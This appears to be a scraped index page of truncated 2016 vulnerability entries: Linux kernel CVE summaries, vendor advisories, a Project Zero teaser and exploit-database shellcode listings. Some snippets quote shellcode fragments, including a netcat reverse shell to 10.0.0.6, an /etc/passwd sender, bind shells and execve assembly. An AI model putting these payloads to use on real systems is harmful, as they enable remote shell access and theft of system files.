UBUNTU-CVE-2016-6136

Race condition in the auditlogsingleexecvearg function in kernel/auditsc.c in the Linux kernel through 4.7 allows local users to bypass intended character-set restrictions or disrupt system-call auditing by changing a certain string, aka a "double fetch" vulnerability...

Linux ARM / ARM64 - perf_event_open() Arbitrary Memory Read

Exploit for linux platform in category dos / poc perfeventopen offers to collect various pieces of information when an event occurs, including a user stack backtrace PERFSAMPLECALLCHAIN. To collect a user stack backtrace, the kernel grabs the userland register state if the event occured in...

Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon Shellcode (83, 148

include include //| Exploit Title: Syscall Persistent Bind Shell + multi-terminal + password + daemon 83, 148, 177 bytes //| Date: 7/15/2016 //| Exploit Author: CripSlick //| Tested on: Kali 2.0 x86x64 //| Version: No Program Version, Only Syscalls Used //| email protected //| OffSec ID: OS-20614...

Linux/x86-64 - Syscall Persistent Bind Shell + (Multi-terminal) + Password + Daemon (83, 148, 177 bytes)

Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon 83, 148, 177 bytes. Shellcode exploit for Linx86-64 platform include include //| Exploit Title: Syscall Persistent Bind Shell + multi-terminal + password + daemon 83, 148, 177 bytes //| Date: 7/15/2016 //| Exploit...

CVE-2016-6197

It was found that the unlink and rename functionality in overlayfs did not verify the upper dentry for staleness. A local, unprivileged user could use the rename syscall on overlayfs on top of xfs to panic or crash the system...

The vulnerability of the Linux operating system, which allows a malicious individual to gain access to protected information

The function rawcmdcopyout in the file /drivers/block/floppy.c contains an error in the handling of permissions for accessing memory pointers during the execution of the system call FDRAWCMD. This allows a malicious individual to gain access to information stored in the dynamic memory of the...

Linux/x86 - Bind Shell Port 4444/TCP Shellcode (98 bytes)

/ Linux x86 TCP Bind Shell Port 4444 98 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 98 SLAE - 750 ------------c prog ---poc by sajith shetty---------- include include include include include int mainvoid int sockfiledes, clientfd; struct sockaddrin sockad; //1we need to creat...

Linux x86_64 /etc/passwd File Sender Shellcode

Linux x8664 /etc/passwd File Sender Shellcode. Shellcode exploit for linx86-64 platform / Title : Linux x8664 /etc/passwd file sender shellcode Date : 28-06-2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 / / Disassembly of section .text: 0000000000400080 : 400080: 48 31...

Linux x86 /bin/sh Shellcode + ASLR Bruteforce

Linux x86 /bin/sh Shellcode + ASLR Bruteforce. Shellcode exploit for linx86 platform /bin/sh shellcode Ubuntu 14.0.4 32 bit + ASLR Bruteforce shellcodeandaslrbruteforce.c Tested on : Ubuntu 14.04 32 bits Author : Pawan Lal [email protected] vim shellcodeandaslrbruteforce.c include include inclu...

CentOS Update for kernel CESA-2016:1277 centos7

Check the version of kernel SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.882511";...

Linux Netcat Reverse Shell - 32bit - 77 bytes

Linux Netcat Reverse Shell - 32bit - 77 bytes. Shellcode exploit for linx86 platform include include //[email protected] //OffSec ID: OS-20614 / global start start: ;/bin//nc -e///bin/sh 10.0.0.6 99 xor eax,eax ; clear eax xor edx,edx ; clear edi ; 0xIN-LAST IN-FIRST push 0x3939393...

Linux x86_64 execve Shellcode - 15 bytes

Linux x8664 execve Shellcode - 15 bytes. Shellcode exploit for linx86-64 platform include include // OS-20614 // [email protected] / global start start: execve: mov rsi, rax mov rdx, rsi mov r12 , 0x68732f6e69622f push r12 push rsp pop rdi mov al, 0x3b syscall / unsigned char code ...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2016-3565)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3565 advisory. - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for...

OracleVM 3.3 : kernel-uek (OVMSA-2016-0053)

The remote OracleVM system is missing necessary patches to address critical security updates : - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for the socket syscall protocol argument Hannes Frederic...

Oracle Linux 5 / 6 : Unbreakable Enterprise kernel (ELSA-2016-3566)

The remote Oracle Linux 5 / 6 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3566 advisory. - net: add validation for the socket syscall protocol argument Hannes Frederic Sowa Orabug: 23267976 CVE-2015-8543 CVE-2015-8543 - ipv6: addrconf:...

Linux/x86 - Bindshell with Configurable Port Shellcode (87 bytes)

/===================================================================/ / Filename: bindshell.c Author: JollyFrogs email protected License: This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License. Compile: gcc -m32 -fno-stack-protector -z execstack...

Linux 内核通过 BPF 系统调用提权漏洞

漏洞概要 4 月 27 日有安全研究人员在 bugs.chromium.org 站点提交了本地提权高 危漏洞。 Linux 内核版本大于等于 4.4 时,当内核编译了 CONFIGBPFSYSCALL 并 且 sysctl 中的 kernel.unprivilegedbpfdisabled 没有明确设置为 1 时,无特 权的代码可以使用 bpf 系统调用加载 eBPF socket 过滤程序,从而达到系统提 权的⺫的,而前面的两个条件在最新的 Linux 发行版 Ubuntu 16.04 桌面版和 服务器版本均满足,经过测试 Kali Rolling 发行版 内核 4.4.0...

Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() bpf(BPF_PROG_LOAD) Privilege Escalation

Linux Kernel 4.4.x Ubuntu 16.04 - double-fdput bpfBPFPROGLOAD Privilege Escalation Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 In Linux =4.4, when the CONFIGBPFSYSCALL config option is set and the kernel.unprivilegedbpfdisabled sysctl is not explicitly set to 1 at runtim...

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676 tl;dr The code responsible for loading a suid-binary following a call to the execve syscall invalidates the task port after first swapping the new vmmap into the...

Race you to the kernel!

Posted by Ian Beer of Google Project Zero The OS X and iOS kernel code responsible for loading a setuid root binary invalidates the old task port after first swapping the new virtual memory map pointer into the old task object, leaving a short race window where you can manipulate the memory of an...